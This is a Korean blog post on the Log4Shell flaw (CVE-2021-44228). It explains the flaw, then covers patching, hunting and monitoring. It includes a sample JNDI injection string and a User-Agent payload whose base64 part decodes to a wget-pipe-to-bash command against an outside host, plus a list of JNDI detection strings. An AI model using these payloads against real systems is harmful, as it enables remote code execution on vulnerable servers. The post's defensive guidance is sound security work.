Apache Log4j 취약점(CVE-2021-44228) 조치와 탐지 방안 정리

최근 이슈가 되고 있는 Apache Log4j 취약점(CVE-2021-44228) 에 대해서 알아보고자 한다.

Log4j 란

먼저 Log4j 가 무엇인지 간단히 소개해 보면, Log4j는 Java에서 사용하는 로그 생성 모듈이다.
쉽게 말하면, Log를 생성할 때 사용하는 라이브러리로써 로그를 생성하는 포맷등을 쉽게 생성하고 양식을 표준화 할 수 있기 때문에, 아래글과 같이 정부 공통 가이드가 있을 정도로 대부분의 Java 개발시 사용하는 기본 모듈과 같다.
Log4j – Apache Log4j 2 에서 자세한 이용 방법은 나와 있다.
Log4j의 정의, 개념, 설정, 사용법 정리 (tistory.com)

CVE-2021-44228 취약점은

CVE-2021-44228 취약점은 원격 코드 실행이 가능한 취약점이다.
Log4j 내의 취약점은 라이브러리가 텍스트 문자열을 구문 분석하는 방법에 따라 다수 존재하는데,
JNDI(Java 명명 및 디렉터리 인터페이스)가 "${jndi}" 명령의 특정 서식이 포함된 로그 메시지를 받으면 취약점이 트리거된다.
가장 일반적인 공격으로는 JNDI가 로그를 남기기 위해 파싱을 진행하는데 명령은 LDAP(경량 디렉터리 액세스 프로토콜)를 활용하여 원격 호스트 URL에 연결하는 것이다.(LDAP 이외에도 사용이 가능하다)
즉, 공격자의 서버에 연결하여 쉘을 열기 위해서 ${jndi:ldap://attacker_website/payload_to_be_executed} 를 이용해서 공격하게 된다.

예를 들어 User-Agent 의 스트링을 통해 Log4j를 실핼할 수 있다. 만약 “(wget -q -O- 192.168.0.1:80)|bash”. 를 실행시키고자 한다면,

User-Agent: ${jndi:ldap://192.168.0.1:80/Basic/Command/Base64/KHdnZXQgLXEgLU8tIDE5Mi4xNjguMC4xOjgwKXxiYXNo}

응용 프로그램이 로그하기로 결정하는 데이터에 따라 이 악성 문자열은 웹 서버에 대한 HTTP 사용자 에이전트에서 (예 마인크래프트의 채팅방 메시지)에 이르기까지 다양한 영역에서 찾을 수 있기 때문에 매우 심각한 취약점이라고 할 수 있다.

조치 방안

조치 방안은 취약점을 제거하는 방법과 현재 침해사고가 발생한 시스템을 찾아내는 헌팅과 그리고 공격이 들어오는 것을 모니터링 하는 방안으로 총 3가지로 정리해 보았다.

제거

이 취약점을 Log4j 2.0에서 2.14.1까지 존재하는 취약점이다. 따라서 2.15버전 이상으로 패치를 하는 것을 추천한다. 만약 패치가 불가능한 상태라면, JVM 옵션을 통해 MsgNoLookups를 true로 활성화 하거나 관련 클래스를 제거하여야 한다. 버전별 조치 방법은 다음과 같다.
2.0-beta9 ~ 2.10.0
  - JndiLookup 클래스를 경로에서 제거

zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

 2.10 ~ 2.14.1
JVM옵션 log4j2.formatMsgNoLookups 또는 LOG4J_FORMAT_MSG_NO_LOOKUPS 환경변수를 true로 설정

-Dlog4j2.formatMsgNoLookups=true

LOG4J_FORMAT_MSG_NO_LOOKUPS=true

이외 제조사들이 제공하는 장비들은 해당 업체에서 제공하는 전용 패치를 진행하기 바란다.
BlueTeam CheatSheet * Log4Shell* | Last updated: 2021-12-12 2204 UTC · GitHub

헌팅

본 취약점을 헌팅하기 위해서는 Log4j가 로그를 생성하는 솔류션이므로, Log4j가 사용된 시스템에서 jndi: 로 시작하는 로그를 모아서 살펴볼 필요가 있다. 아래 시스템 별로 시스템 헌팅 쿼리를 정리한 Github에서 확인하면 조사 방안을 이해하는데 도움이 될 것이다.
Log4j RCE CVE-2021-44228 Exploitation Detection · GitHub

이외에도 현재 공개된 IoC 기준으로 조사를 진행할 수 있다.
아래는 Microsoft에서 제공하는 IOC이다.
https://raw.githubusercontent.com/Azure/Azure-Sentinel/master/Sample%20Data/Feeds/Log4j_IOC_List.csv

모니터링

아래 내용으로 요청이 들어오는지 모니터링을 진행하면 Log4j를 시도하거나 침해된 시스템이 있는지 확인이 가능하다.

"${jndi:ldap:/" "${jndi:rmi:/" "${jndi:ldaps:/" "${jndi:dns:/" "${jndi:iiop:/" "${jndi:http:/" "${jndi:nis:/"

많은 보안장비들이 YARA 룰을 지원하기 때문에 YARA 룰을 통해 탐지를 진행할 수 있으므로, 아래 Github에서 제공하는 YARA룰을 업데이트 하기 바란다.
log4j-CVE-2021-44228-Public-IoCs/yara-rule.yar at main · Sh0ckFR/log4j-CVE-2021-44228-Public-IoCs · GitHub

이외에도 아래 사이트에서 현재 취약점 가이드를 제공하는 많은 업체의 리포트를 확인할 수 있으므로 참고하면 좋을 것이다.

참조

Log4Shell - Log4j Remote Code Execution (CVE-2021-... - Carbon Black Community

Guidance for preventing, detecting, and hunting for CVE-2021-44228 Log4j 2 exploitation - Microsoft Security Blog

Cisco Talos Intelligence Group - Comprehensive Threat Intelligence: Threat Advisory: Critical Apache Log4j vulnerability being exploited in the wild